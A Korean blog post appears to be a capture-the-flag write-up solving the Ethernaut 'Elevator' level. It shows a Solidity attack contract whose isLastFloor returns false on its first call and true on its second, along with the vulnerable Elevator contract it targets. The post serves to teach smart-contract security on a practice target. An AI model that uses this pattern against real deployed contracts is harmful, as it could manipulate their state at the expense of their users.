엘리베이터 꼭대기로 보내면 된다.
문제 코드를 좀 보면 goTo라는 함수가 있는데 Building인터페이스를 msg.sender가 받고
거기에 있는 isLastFloor함수를 통해서 조건을 통해서 이케저케한다. 그러니까 유저가 하면 안 되고 Building인터페이스를 상속받은 컨트랙트를 하나 만들어서 그 안에서 isLastFloor를 요케요케 해서 top이 true가 뜨게 해야 한다.
처음 top의 상태
contract Attack is Building{
bool switcher ;
address elev;
constructor(address _elev){
elev = _elev;
}
function Attck(uint _floor) external {
Elevator(elev).goTo(_floor);
}
function isLastFloor(uint) external override returns (bool value){
if (!switcher) {
switcher = true;
return false;
}
return true;
}
}
간단하게 이런 컨트랙트를 작성했다.
문제인 Elevator컨트랙트 주소를 우선 elev에 저장해 두고 Attack함수를 통해서 goTo함수를 실행시킬건데
그러면 다시 이 함수에 있는 isLastFloor에 들어온다. 그랬을때 처음에는 false가 떠야 하고 그다음에는 true가 떠야 해서
중간에 switcher라는 변수를 통해서 두번 째에 들어올 때는 true를 리턴하게 하였다.
그리고 나서 top()의 상태를 보면
다른 블로그도 보니까 비슷하게 해결했다.
level 11.Elevator 코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
'CTF > Ethernaut' 카테고리의 다른 글
[Ethernaut] 13.Gatekeeper One (!!hard!!) (0) | 2024.02.09 |
---|---|
[Ethernaut] 12.Privacy (0) | 2024.02.08 |
[Ethernaut] 10.Re-entrancy (0) | 2024.02.05 |
[Ethernaut] 9.King (0) | 2024.02.05 |
[Ethernaut] 8.Vault (0) | 2024.02.01 |